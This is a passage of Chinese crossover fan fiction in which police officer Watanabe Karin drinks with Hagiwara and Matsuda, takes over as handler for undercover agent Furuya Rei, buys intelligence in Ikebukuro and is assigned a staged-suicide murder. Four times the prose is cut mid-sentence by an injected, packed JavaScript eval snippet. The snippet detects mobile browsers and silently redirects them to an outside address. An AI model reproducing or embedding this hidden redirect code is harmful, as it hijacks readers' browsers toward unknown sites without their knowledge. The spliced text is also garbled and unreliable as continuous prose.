萩原研二打着哈哈:“可能是同事告诉她的吧,渡边小姐应该也调到这边有一段时间了。” 松田阵平也放松下来:“说的也是。” 这家店在他们的圈子里还挺受欢迎的。 警视厅和警察厅的位置也很近,在小酒馆遇到同事也是很正常的现象。不过渡边的身上没有任何警察相关的标志,如果不是主动说,也看不出来她是警察。 “那现在怎么办?”萩原研二头疼的看着已经趴在桌子上睡着的渡边花梨,他虽然号称妇女之友,但是也不代表着能跟一位刚见过第二面的女士关系多好。 至少没有好到知道她的家在哪里。 松田阵平也觉得头疼,原本就乱糟糟的小卷毛在他的摧残下变得更乱了:“那也不能把她扔到这里,稍微等等看,能不能问出她家在哪吧。” 趴在桌子上的花梨脸颊都是红的,甚至打起了呼。 “呃,这位小姐没事吧?”服务员似乎也发现了这边的异样,不管怎么样,独身女性在他们店里喝酒还是一件很不常见的事情,他自然就多关注了几分。 特别是现在她的桌子旁还有两个身材高大的男性。 萩原研二也察觉到了对方的怀疑,连忙解释同时超绝不经意的露出钱包里的警察证:“没事没事,渡边小姐只喝了三杯,我们在这里等她醒了之后再走。” “为了不耽误你工作,我们先结账吧,渡边小姐的账也算在我们这里就可以。” 看到萩原研二钱包一角的警徽的服务员果然放下心来,虽然平时的新闻总是容易让人对这个国家的公检法系统产生怀疑,但是对于大部分普通人来说,警察还是相当值得信任的,特别是他们的店就开在樱田门附近。 因为花梨醉的太快,其实三个人加起来也没有吃多少东西,只是摆了好几个酒瓶。 服务员飞快的算完账,萩原研二正要从钱包里拿出纸币,却被一只手从侧面伸过来,‘啪’的一声按在的桌子上。 那一瞬间,萩原研二还以为自己被压在了桌子上,冷静下来之后才发现,原来是因为惯性太大,他整条胳膊都被压在了桌子上。 还没等他感慨,就看到原本醉的趴在桌子上的渡边摇摇晃晃的站起来:“付什么账!我来付!” “这怎么好意思……”松田阵平当然不会让她付账,他脸上是一派的写意轻松,但是当他一只手去拽被按在桌子上的萩原研二的钱包的时候,脸上的表情却僵住了。 ——他拽了好几下都没拽住。 就这把钱包按在桌子上的动作,花梨从外套口袋里拿出一个钱包扔给服务员:“结账!” 萩原研二和松田阵平,一个看着自己被按在桌子上的手,一个看着被按在桌子上动都动不了一下的钱包,全都沉默了。 “好嘞——”服务员倒是无所谓,不管谁付钱,钱都是一样的,不过,没想到有人和女生出来吃饭居然还让女生付钱,想到这里,他用带着一丝丝鄙夷的目光看向被花梨一个人按住的两个人——这装的也太假了,哪有人想结账还能动不了了,一看就是业务熟练的小白脸。 等结完账,花梨坐回座位上,眼中也多了一丝清明。 萩原研二揉了揉手腕,脸上是夸张的惊讶:“渡边小姐的力气可真大啊。” “诶?可能这就是我们乡下警察和你们城里的区别吧。”花梨叼着老板送的醒酒的柠檬水,含糊不清的说,“毕竟我之前工作的地方比较乱啦,我们那里就算是文职也得狠狠训练才行。” “乱?”松田阵平发出疑问。 “我之前在横滨工作。”花梨转头开了个玩笑,“但是横滨的犯罪率可是倒数哦!” 这下子松田阵平和萩原研二都沉默了——毕竟只要不统计,就不会有犯罪率,横滨的警局就是这样一个地方。 啊,突然就理解了呢。 看到他们两个脸上那副‘懂了’的表情,花梨突然开怀:“哈哈!所以我才努力的调到东京来工作了嘛!这才是第一周,因为太开心了,所以今天才喝多了!” “是不是吓到你们了?其实没关系的,我喝酒只是容易上脸,恢复超级快的!” 因为离开了横滨,花梨正急着在东京开拓新的交际圈,两个警官可谓来的正是时候。 花梨往前跳了几步,转过身来拿出手机,露出一个俏皮的笑:“对了,交换一下联系方式如何?警视厅的好心的警官们?” 萩原研二愣了一下,露出迷人的笑容:“让女士主动提出这个话题才是我的失误。” 两个人十分顺利的交换了联系方式,松田阵平见状也拿出了手机。 “说起来,渡边你刚来这边,为什么没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211127|197395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有和同事一起出来呢?”虽然花梨看上去是个很外向的人,但是萩原研二还是有点担心,东京的职场关系处理起来可以说得上是一门艺术了,花梨作为刚入职的新人,他很担心她是不是被前辈们排挤了。但是刚刚渡边又说知道这家店里的熟客都是警察,如果是有同事推荐的,却又没有和同事一起来,怎么想都有点奇怪。 啊,说起来,这是她来到东京的第一个休息日吧?一个人出来喝酒,没准真的是同时不怎么友好呢。 花梨根本没想到,初次见面萩原研二就已经给她套上了不得了的人设。 她只是很直白的回答:“因为警备课的大家,平时根本见不到啊,我今天难得在十点之前下班了呢。” 萩原研二:…… 松田阵平:…… 这个理由,好强大! 这就是中央机关的工作强度吗? 没有一天早于十点下班也太离谱了点吧! 花梨说着说着,突然想起来点什么:“对了,大家这么辛苦,我从明天起订一点咖啡送到办公室好了!” “不然一边加班,一边还要自费买咖啡,也太心酸了一点。” 松田阵平:不,这已经让我们没法插话了啊!这也太社畜了吧!警察是这么繁忙的职业吗? 不,不能这么想,警视厅的警察们的平均工作时长同时也是衡量这个城市治安的重要数据啊,平时他们也不会这么高强度的加班啊! “这种工作强度,渡边你不会不适用吗?”萩原研二试探着问。 花梨颇为怪异的看了他一眼:“你以为我的存款是哪里来的啊?” 当然是加班的加班费了。 “正常的加班的话,我原先的工作单位有三倍的加班费,我们一天的加班费有的时候能是正常工资的六倍哦。” “我的一位前辈说过,只要不下班,就不需要上班了。” 松田阵平&萩原研二:…… 他们这一晚上无语的次数是不是太多了点? 松田阵平自己也可以彻夜研究炸弹结构,但是□□处理班毕竟不是像搜查科那样,需要频繁工作的部门,东京毕竟不像横滨一样,在地理上占据了优势,而东京人也没有横滨人那种丰富的手搓炸弹的能力,以至于他们的上班强度根本不足以体会到花梨这已经刻入骨髓的加班习惯。 两个从离开警察学校就在□□处理班的警察,久违的感受到了卷王带给他们的压力。 这种因为工作时长不足而产生的愧疚感莫名其妙的笼罩着他们。 总之,为了东京居民的美好生活,他们是不是应该在努力一点呢? 在站台前,花梨笑着挥了挥手告别两位警官。 坐上车之后,花梨脸上的笑收了回来。 她点了点脸侧,做出思考状——有趣的警官,警察厅怎么没有把这样的警官招进来?这不是比警备课那些人强多了? 刚刚还醉着的时候,两个人都有搀扶花梨,所以花梨也顺手摸到了两个人的手臂肌肉——相当有料! 这么一对比,丸目还是差太多了。 啧啧啧,还得练啊。看身板带出门要是遇到点什么事情还需要她拎着跑。 5. 第五章 遇到萩原研二和松田阵平对于花梨来说是一个惊喜,但如果不是这两个人,她其实也打算接触一些其他系统里的‘同事’,从这一周接手零组之后,她发现了一个很大的问题,虽然这里其实已经是日本警察系统里精英中的精英了的,就实际上并非所有人都是真正可用的人才,或者说能用的人跟迫切需要解决的工作的数量是不对等的。 日本的公检法体系弊病已经不是花梨能解决的问题了,她唯一能做的就是至少掌握每一个下属的能力,尽可能的完成神城长官的期许。 但是从这些年的卧底记录来看,探查那个组织的信息难度可能比在横滨想要大港口黑手党的难度还大,她需要一点得力的下属——最好每一个都有安吾前辈一样的工作精神!猎犬一样的战斗能力! 她已经打定主意要挖墙脚了,反正神城长官已经说了,现在这里由她全权做主! 花梨的酒量并不是不好,但胜在有一套好的消化系统,刚刚那些酒在睡觉的这段时间里已经完全代谢掉了,回到租的房子里,她下意识的看了一眼那个手机——邮箱里还是什么都没有。 卧底这么忙的吗?到现在都没有给她回复消息? “并没有发现卧底的消息传出来。”诸伏景光面带忧虑的看着降谷零,“Zero,你确定吗,你的联络人真的出问题了?” 降谷零捏住了手中的罐装啤酒,锡制的外壳在他的手指下发出咯吱咯吱的响声,他面色阴晴不定:“我不确定,但是那条消息太奇怪了。” 诸伏景光想起来了Zero找过来的时候跟他说的话,略微一思索:“你能再让我看看那条消息吗?” 降谷零把手机递了出去。 他和景光现在还都只是没有代号的低级成员,正在取得带代号的关键时期,理论上来说不应该随便联系的,但是这次的事情实在是太让他迷惑了。 不得已,他联系了景光,制造了这次见面机会,并且让对方通过他那边的联络人打听消息。 诸伏景光看了一眼消息,试图简短的内容中分析出来什么:“我之前没有看过你跟你的联络人的消息,但是除了要换联络人,这条讯息似乎没有其他内容了?” 他脸上的表情有些疑惑,说出了最关键的问题:“既没有说接下来你要怎么联系他,也没有说明自己的情况——他是不是根本没打算让你联系他啊?” 砰—— 罐装啤酒被降谷零捏扁,他猛地反应了过来:“等等,这家伙的意思其实是——” 诸伏景光露出无奈的表情:“【等我消息】。” 这个通知说不上过分,但是对于卧底和联络人这种亲密的关系,这种语气可以称得上是‘冷酷无情’了。 看上去完全没有打算配合。 “这家伙脑子有问题吧?” 降谷零要气炸了,他现在似乎只能把怒火发泄到这个不知名的联络人身上——不知道对方是怎么顶替了风见,也不知道上面的人是怎么同意这种离谱的行动的。 诸伏景光也觉得头疼,抬手扶额:“完全不了解的搭档啊——” 在进行卧底培训之前,联络员和卧底是要有一段时间的磨合的,一些特殊的时候,这种熟悉甚至可以救命。所以说完全陌生的联络人是十分不靠谱的调动。 可惜他是警视厅派出的,没有办法探查到警察厅那边到底发生什么事情了。 降谷零牙都要咬碎了:“不行,这样下去根本没有办法安心!必须把这边的事情解决了!” 诸伏景光倒是想安慰他,但是现在什么安慰的话都是苍白的,因为只有零一个人和那个人接触,他们其他人都体会不到这种感觉。 “先发消息试探一下吧。” 这是最好的解决方法了。 降谷零脸上还带着怒气,点了点头。 【你是谁?】 渡边花梨下班的时候拿出固定的手机、打开隐藏的邮箱,看到的就是这样一条消息。 她仔细思索了一下,最近似乎没有什么情报显示黑衣组织那边有奇怪的动向,整个东京算得上是风平浪静了。 哦,那这个就是确认联络成功的信号吧? 【今后请多指教,我是渡边。有什么事情可以找我。】 花梨托着腮,桌面上放着联络用的手机,屏幕微微发光,她在等着,等着这个卧底还会给她发什么。 不过让她有些意外的是,对方什么都没有发。 花梨:诶? 这跟她想的好像不太一样诶! 正常卧底,被突然更换联系人之后,会是这个反应吗? 花梨当然知道基本上除非一方死亡,卧底和联络员都是单对单的,她的突发奇想是一件挑战专业卧底的应对能力的事情。 不符合规则? 开什么玩笑,能让一个非法组织存在一百年已经是挑战极限了,这个时候还管什么规则啊!什么手段有用什么就是规则!要不是没有渠道她都想把□□的核武引过去干脆利索。 卧底至少要有一定的能力。现在的情况,相当于花梨这个新上任的长官在原本就紧急的情况下开出了一张考卷,但是被考察的人似乎完全没打算接下这张考卷。 花梨托着下巴思索:“生气了?不会吧?” 她从桌子的抽屉里拿出了另一个设备,查看了一下:“奇怪,也没有联系其他人啊?” 她之前和降谷零的接头人八田有过一次面对面的交流,这个小的监控就是在那个时候留下的。八田明面上的工作是一家证券公司的员工,平时工作以外勤为主,父母在北海道的老家,一个查不出什么漏洞的身份,就是能力差了点,都没有发现自己对他的手机动了手脚。 她总算知道神城为什么想在异能特务科挖人了,因为双方员工的平均素质完全不是一个等级的。 不过这个降谷零倒是还可以,直到现在都忍着没有联系八田,要知道,这个手机虽然是唯一的通讯方式,但是两个人是认识的,肯定有线下的接头方式。 花梨想不明白,她烦躁的揉了揉脑袋,把原本整齐的粉色头发揉得一团糟。 可恶,好不习惯和不认识的人一起工作啊!快给她一个反馈啊!效率效率!如果不是对方已经卧底进去了,她绝对要先搞个选拔在挑一个自己承认能力的人扔进去,重要的是默契,默契啊! 另一边,降谷零面色沉重的看向诸伏景光:“你认识这个人吗?” 诸伏景光满脸为难:“渡边这个姓氏很常见,就算是调查的话,应该也很难查出来什么。我倒是可以帮你试探一下警视厅那边有没有消息。” 降谷零的瞳孔微微收缩,一丝阴翳闪过:“不,一定能查出来!” 虽然他们两个的能力都差不多,但是景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211128|197395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光是作为狙击手加入组织的,而他的主职在情报上,对于这种事情更擅长。 一晚上的时间,降谷零已经把日本警察近十年的姓渡边的警官全都调查了一遍。 一共有十个人,其中三个分别在北海道,关东之类的地方,看样子并不像能升职到东京的。 还有四个在警视厅。 剩下三个,有一个殉职,还有一个只是普通的巡警,还有一个是新入职的警视。 似乎哪一个都不可能是他的联络人。 殉职倒是有可能是假死换身份,但是这个人三年前就去世了,那个时候他还在警察学校呢。 巡警这个就更不可能了,年纪比他还小,履历更是浅薄,都不是职业组出身,上面的长官就是再瞎搞,也不可能启用这样一个人。 至于最后一个?完全没有成为警视之前的信息,唯一能查到的就是19岁在东大法律系毕业,然后前一段时间空降成为警视。 说起来,就是这个人吧!把他的搭档调走,给他安排了新的联络员! 为什么会让一个空降的人担任这么重要的职位! 这根本就是在胡闹! 如果不是现在身在黑衣组织,降谷零都想冲到理事官的办公室质问了。 这种鲁莽的职位调动,到底有没有把卧底警察的安危放在心上! 渡边渡边渡边,他现在倒是怀疑,这个是联络员的假名字了。 因为这样,不管是谁听到这个名字,都下意识的会锁定在这位新长官身上,不会有其他的想法。 甚至如果他将来听到这个名字有什么反应的话,也可以推到“因为有个很在意的年轻的警备企划科长官”。 而且,那个突然被扔过来和自己接头的人恐怕也不是很满意这位新长官的安排,所以才取了这样一个代号吧? 安室透:“……” 好吧,他得承认,这种小技巧还是不错的。 但是这并不代表他能原谅新长官这种无缘无故的更换联络员的行为! 想到这里,他咬牙切齿的打开那部手机,用恨不得把屏幕按碎的架势打了一行字过去。 【你好,请多指教。】 退一万步讲,对方也跟他一样是新人长官无礼命令的受害者。 无人回应。 早上八点,安室透正按照组织的命令收集情报跑腿的时候,突然感觉到放在内袋的手机微微震动,他面上不动声色,和下线交换完情报,整理成文档发给匿名账号,这才找了个隐蔽的地方把手机打开。 【抱歉啊,昨天晚上已经睡了,没看到消息,下次有事找我的话,麻烦尽量在工作时间。】 安室透简直要扣出一个问号。 【你的工作时间是指?】 【早上七点到晚上十二点,过多的透支精力只会影响我白天的工作效率,这种情况下工作的成果也会很差。】 好了,现在安室透已经气笑了。 但紧接着,下一条消息蹦出来。 【不过,你这边是个例外。】 【我有另一个紧急联系方式,之后会交给你,有紧急的情况可以通过这个方式联系我。说实话我是第一次做这种工作,上司跟我说的时候,我也有些意外,毕竟之前都是由我来做这种工作的,我还第一次给别人做联络员,做得不好的地方要麻烦你多多包涵了。】 6. 第六章 放下手机,窗外的初日已经照亮了整个城市,将天际染成慵懒的橘红。 花梨轻轻呼出一口气,靠在椅背上——和那个“降谷零”的初次接触,结果比她预想的要好。 那人的应变与能力确实出色,不愧是能在那个跟地沟里的老鼠一样的组织力卧底成功的。 老鼠……老鼠…… “啊啊啊啊啊!为什么这个时候要联想到老鼠啊!” 花梨猛地从椅子上弹起来,抱住头低声哀嚎。她对老鼠有着严重的 PTSD,全拜从前某次极其不愉快的工作经历所赐。直到此刻她才终于明白,自从接下这个任务以来,那若有若无的不适感究竟从何而来——黑色、潜伏、暗中行动……这跟老鼠有什么两样! “渡边警部?”推门进来送资料的下属被她的样子吓了一跳。 花梨瞬间恢复成平日那副冷静自持的模样,仿佛刚才发出怪叫的是另一个人。“放桌上就好。”她语调平稳,“这是哪个组织的资料?” “是住吉会。” “哦哦哦,是他们啊。”花梨恍然大悟,这个名字如果问十几岁二十几岁的年轻人,可能大部分人都会有些陌生,但如果是上了年纪的老人,这个时候就会露出跟花梨一样的表情:“这种古老的帮派还在啊。” 神奈川的稻川会现在都只能靠着娱乐产业维持组员的生计了,毕竟有港口黑手党这种完全不讲道理的存在。 你走私军火,那边有人形自走炮台,这怎么打。 自从□□出现之后,□□里交流的方式都从火拼改成上谈判桌了。 这样虽然有点丢脸,但到底是降低了损失,就算是□□也是要讲道义的,一味的把组织成员往没有胜率的战场上送,这种情况下只会让组织的存在更加的不稳。 花梨对东京的□□是真的不怎么了解,她还是对神奈川的熟悉一些,于是她垂下眼,仔细翻阅起手中的文件。 资料详尽得令人意外,甚至详尽的有些诡异了。花梨很快反应过来:“这是——住吉会的卧底送回来的资料啊!” “是的。” 她直接翻到最后一页。“任务已经结束,人也安全撤离——干得漂亮。”花梨眼底掠过一丝欣赏,“加快他的身份洗白程序,我想尽快见见这个人。” 花梨现在求贤若渴,这种能拿到这么详尽的信息还能全身而退的人才,正是她需要的。 “啊,可是按道理说……” “三个月。”花梨打断他,语气里带着不容置疑的果断,“住吉会掀不起大浪,不必顾虑他们的态度。” 在这一点上,花梨表现的十分的强势,她现在很缺人,虽然作为警方来说,对于□□应该是敌视的,但是她到底是从横滨出来的人,知道如今日本的社会局势就是一部分秩序是靠□□维持的,敌视完全没有意义。在某些事情上,她愿意和这些组织心照不宣。 所以,一直在大量敛财、走私军火、肆无忌惮的控制日本企业、多行暗杀之势,在全世界暗处爬行的蟑螂才是她迫切要清除的对象。 这段时间也通过资料知道了一部分在外卧底的人员的现状,说实话,就目前的情况来说,她觉得对于那个不知名的黑色组织的调查也没有必要那么迫切。天塌下来有个子高的人撑着,这要他们第一个炸的不是日本,那不是还有CIA呢嘛。 不过她这个工作是特别招聘,她还是要满足上司的需求的。 简单的处理了一下手头的工作,花梨又开始躺在椅子上摸鱼——说实话,因为异能是被动类型,她自己也不知道能发挥到什么程度,但是从之前的情报来看,那个组织里并没有异能力者,她发挥的空间应该还是蛮大的。 发了一会呆,花梨还是摸出手机。 不,这或许不能叫“查资料”。她点开手机银行,向某个匿名账户转了一笔钱,然后打开一封陌生邮件。 ——没错,就是游走在违法边缘的情报交易。 横滨出来的公务员,哪有什么非黑即白之说,能用的就是好的! 此刻花梨拿到的是这五年来在警察学校毕业的人的去向信息,日本每年培养的新警察大概在一万五到两万人左右,花梨自然是不可能花大手笔直接买下这么多的资料。实际上,这些新人警察百分之九十九都来自于个都道府县的警察学校,只有百分之一来自于国家警察大学,属于职业组,之后只要不出现大的错误,都能一路晋升。 职业组每年大概只有一百人,调查他们的情报就方便的多了。 不过这其中还要包括一部分刚毕业情报就隐藏的,花梨对这些人没兴趣,他们大多数是和那位被安排进黑衣组织的降谷零一样,被重新安排身份潜伏进各个地方,或者直接作为高官的护卫。 这样一筛选下来,能留给她挖墙脚的人就更少了。 那一列的名单上,松田阵平和萩原研二的名字实在是过于明显——毕竟职业组很少有在毕业之后进入□□处理班的,考虑到那两位警察的能力,这简直是暴殄天物。 这份资料十分的详尽,就算是花梨用自己的权限进入警察厅的系统都未必能找到如此完善的资料,如果真的按照情报的价格付款的话,她恐怕半年的工资都要赔进去。 但是卖给她情报的人之前欠了她一个很大的人情,所以这一单是一折的友情价。 查了一个下午的资料,花梨也没有找到太多适合挖角的对象,她不仅感慨,有点时候当上司真的是比干活困难多了,也不知道神城当时是怎么把自己的资料从那么一堆异能特务科的人员名单里翻出来的。 哎,新的一周,工作又是毫无进展。 周六的早上,花梨难得没有休息,而是选择了早起。 东京这片区域她不是很熟悉,但是有人给她提供了一个地址,说如果遇到搞不定的事情可以去找这个人。 这还是她到达东京之后,第一次在自己所居住的地方周围走动。 不过也不能说是明确的周围,那个地址距离她住的地方驱车还要十几分钟,如果不是早上朝邻居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211129|197395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借了自行车,等她找到的时候可能都依旧要吃中午饭了。 离开米花町,池袋的繁华一下子显露出来,衣着各异的年轻学生们三三两两的聚在街头,花梨只看了一眼就别过头去,很可惜,她的青春期全是在资料书里度过的,为了在横滨那个地方考上东大,她所有的空余时间都用来学习了。 “呦,居然能找到这里来,看来是熟人介绍啊。”轻快的男声从上方传来。 花梨抬头,看见一个黑发青年闲闲地坐在螺旋阶梯旁的栏杆上,正笑眯眯地望着她。好熟悉的一张笑脸,她很少见到有人能天赋异禀到笑着的时候眼里没有一点笑意。 花梨微微皱眉,低头看了一眼手机上的地址:“原来如此,怪不得他给我的不是明确的地址,而是一个坐标。” 因为这位情报贩子根本不像她熟悉的那种情报贩子一样龟缩在某一个地方,把自己的小屋铸造成堡垒一样的存在。 这人大摇大摆的出现在池袋的街头,就这样看着世间百态。 “我想要黑衣组织的情报,你能给我多少?”跟这种人交易,花梨一向直白,比起跟他们绕圈子,还是明码标价更适合自己。 黑发青年笑意更深,指尖有一下没一下地轻敲栏杆:“让我想想——让你来这里的人没有说过吗?海外的情报是针对特别的用户的。”黑色的瞳孔仿佛一滩幽泉,要把花梨拉下水,“这位小姐,您还不够资格哦。” 花梨眨眨眼,阳光映射进琥珀色的眼睛,使原本就浅的瞳色更加的透明。 “我不需要海外情报,那不是我的职责范围。”她平静地说,“我只要日本境内的。” 黑发青年顿了顿,旋即大笑:“什么啊,原来是一位警官小姐,但是这种行为可不好哦。” “我有一位师兄说过‘君子论迹不论心’。”花梨并不想跟这位危险的情报贩子过多的交流,毕竟人是不能跟野兽斗智斗勇的:“介绍我过来的人说过,你能给我这个情报。” 黑发青年收敛了笑意,眼中蒙上了一丝阴霾:“啊,你说的没错,这一单我确实是不能拒绝的。但说实话,这是我最不想做的交易,那群人毫无观察的必要,无聊到极点,如果不是因为近些年他们在东京越来越活跃,我也不想关注他们。” 他从口袋里拿出一个u盘,扔给花梨:“不过仅限于东京的话,情报也没有那么多,这上面有一部分他们在日本的据点和安全屋,还有行动记录。” 花梨接住了那个u盘,露出了满意的神色:“那么,交易达成。” “按照之前所说的,池袋这片地方,我不会过多的探究。”花梨嘴角微微勾起,“但同样的,別把事情搞到我住的地方周围来。” 黑发青年甩了甩手:“但凡有选择,我都不会去米花町的,那里的人就跟白水一样无聊,一眼就能望到底。” “不过,这个消息算是友情附送吧——”他露出一个带着恶意的笑,“渡边小姐的住所,可是发生过很有趣的事情呢~” 花梨:…… 7. 第七章 老实说,她并不想知道自己的住所之前到底发生过什么,凶宅什么的根本无所谓。 花梨虽然现在有着一份在大众眼中看上去十分体面的工作,但是这份体面并不是天上掉馅饼的。 异能特务科的职员,大部分情况下是脏活累活都要干的,而且这个程度都不是普通人能承受的。可以说没有异能特务科,也没有花梨滋润的今天,但是她依旧不会为前单位说什么好话。 作为一个政府部门,它可能确实对横滨的大部分民众来说是保护伞,可惜花梨是普通民众的时候可没有享受到这个待遇。 别说凶宅了,她上班的时候累极了在尸体旁边也能睡着。 ——但这绝不是房东打量她是外地人、企图蒙混过关的理由。 都是凶宅了,多少也得给她降点价吧? 花梨拿到情报之后,一路杀回了住所。 情报归情报,有些事情还是要确认一下的,可惜花梨因为上班作息问题,跟周围的邻居都不熟,这种事情只能自己上了。 推开一居室的大门,她没有脱鞋,先来到了厨房,手指在墙壁纸上拂过,在缝隙的地方摩挲了一阵,随后又来到了浴室,她看着那个自己享受了好几次的独立大浴缸叹了一口气,从随身携带的包里掏出一瓶普鲁诺喷雾。 浴缸与墙壁的接缝出现了明显的反应,然后就是地板,花梨往天花板也也喷了一点,大片的痕迹也出现在了天花板上。 花梨幽幽叹了口气——看来当时场面挺激烈的。 十分钟后。 房东被突然上门的花梨吓了一跳,平时和蔼的笑脸也拉了下来:“渡边小姐今天怎么怎么匆忙?” 他上下打量着花梨,目光落在她穿了裙装而裸露在外面的小腿上,语气变得怪异起来:“看样子刚从外面约会回来啊。” 他明里暗里的嘲讽花梨自然听得出来,她也不是嘴上会饶人的人:“我们这群公务员一周要上七天班是常态,自然没有房东先生这么好命,拿着租金就可以逍遥过日子了。” “你——”日本女人以柔顺为学习目标,房东哪见过花梨这种类型的,之前签合同的时候完全被表象骗了。 花梨笑的眯起了眼:“不过,就算是警视厅的环境再差,我们也很少有跟尸体睡一个浴缸的运气,这一点还是比不过房东先生的。” 她举起手机,打开相册,把那张照片怼到了房东的脸前,阴恻恻的问:“你说是不是啊,房东先生?” 房东刚刚的嚣张气焰就像被一盆冷水从头破到底一样:“你,你怎么会知道的——等等等等,渡边小姐,这件事是我不好,请你千万不要宣扬,不然我其他的房子也租不出去了。” 一阵讨价还价,花梨成功的把之后的月租砍到了六万每个月。 她倒是还想继续往下砍,但是房东说什么也不愿意了,他这是凶宅,但是也是几年之前的了,米花町的凶宅还少吗? 花梨:…… 行吧,赚点是点。 不过这么一闹,她这个休息日都没来得及做别的事情,毕竟换月租不是简单的嘴上说一句就行,合同和其他的手续全都要重新弄。 理论上来说,以花梨现在的薪资,也不差这么点钱,但是年轻的时候穷怕了,现在没点存款不安心。 毕竟她之前的每一分钱都是加班的血汗钱,虽然现在的工作还没让她加班,但是她宁愿相信这是因为还在‘新手期’。 果不其然,新鲜的周一就有新鲜的工作,罪犯才不会因为是休息日就休息。 花梨上下打量了一眼神城递过来的照片和文件,挑了挑眉,琥珀色的瞳孔里映出浴缸中那片刺目的红。 “谋杀案,杀人之后伪造现场。”她的声音平静得像在陈述天气,“这种事情也需要我们去查吗?”照片上的男人五十岁上下,肥胖的身体浸泡在淡红色的水中,手腕处那道伤口狰狞外翻。任谁看,都是一起典型的浴室割腕自杀。 ——但这种手法在她眼里实在是太拙劣粗糙了。 花梨将照片轻轻放回桌面,唇角勾起一抹似笑非笑的弧度:“这种一眼就能看出来的东西……神城先生,你不如直接告诉我到底要做什么?” 对于花梨这种不怎么有礼貌的表达方式,神城只是温和地笑了笑:“不愧是异能特务科的精英,只是根据照片和信息,一眼就看出来了。重要的不是这一次案件的手法,而是受害人的身份。” 他指着照片上的男人说道:“这是AHL的社长中村阳仁。” 花梨的眉头微微蹙起:“如果我没记错,满天堂最近的股价动荡与AHL有关?‘AHL研究所因扩张过快陷入严重财务危机’——这条新闻我上周刚看过。” 她拖长了语调,眼中闪过一丝了然:“哦——我明白了。正因为AHL陷入危机,凶手才把他杀伪装成自杀,制造‘因财务压力而自尽’的假象。” 神城无奈的笑了一声:“说的没错,要不是你今天一上午都在办公室,我都要怀疑你曾经出现在现场了,现场的搜查一科的警员都没有给出确定的结论。” “BOSS,我们是警察,不是侦探,只要确定真的死亡时间对着监控记录找人就可以了。”花梨微微垂眸,指尖轻轻叩击桌面,“不管是谁,死都死了,股价动荡是其他部门应该处理的,不是我们。” 神城的表情严肃起来:“问题在于,这个凶手与我们要处理的人有关。” 花梨脑海中迅速掠过最近的情报——黑最近东京的组织好像都挺安分的,卧底传回来的消息也都一切正常,黑衣组织那边还是一点动静都没有——她想到了一个。 “因为平时不太关心,但是这位中村社长能在企业扩张期把股价搞成这样,那群人应该功不可没吧?” 神城给了一个赞许的目光,他们这个工作,能力固然重要,但绝对不能是纯粹的‘福尔摩斯式’人物:“不瞒你说,上面正在针对这件事采取措施,但是才采取措施之前,还不能打草惊蛇。” “这件事的后续调查已经挪到了我们手里,希望渡边警视能给出一个满意的答案。”神城把那份卷宗交到了花梨的手里,同时还给了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211130|197395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓励的目光。 花梨心里想说这不对啊BOSS,当初说好只负责零组呢,警备企划科的人已经缺成这样了吗?好吧,作为警备企划科目前职衔最大的人,她还真知道这里人手到底够不够。 ——但是总不能整个警备厅都没人了了吧? 好吧好吧,在东京这个砖掉下来都能砸到几个有钱有势的人的情况下,这活还真不好干,她就勉为其难一下吧。 花梨虽不常出外勤,但配车还是有的。中村社长作为大型游戏研发公司的老板,住的自然是高档小区,离她办公地点不远。 现在也不是高峰期,驾车十分钟,就到达了目的地。 ——当然了,不是花梨自己开的,车是丸目阳太开的。 下车之前,花梨看了一眼正在悄悄抹掉汗水的丸目阳太,半是安慰半是调侃道:“怎么,第一次出外勤?” 丸目阳太心虚的擦了擦汗:“是,是的,长官。” 他确实是科班出身,但是一毕业就坐在办公室里。 “没事,都说了不用叫我长官,渡边。” “渡边小姐。” 花梨打了个手势,从副驾驶下去,这个小区是一个别墅区,安保很好,花梨跟门卫说了一声,才在他的带领下找到了中村的住所。 ——总感觉这已经不能叫住所了。 花梨推了推墨镜,露出下面惊讶的眼睛:“哇塞,这还真是每一笔钱都花在了自己的身上,一点也不吃亏啊。” 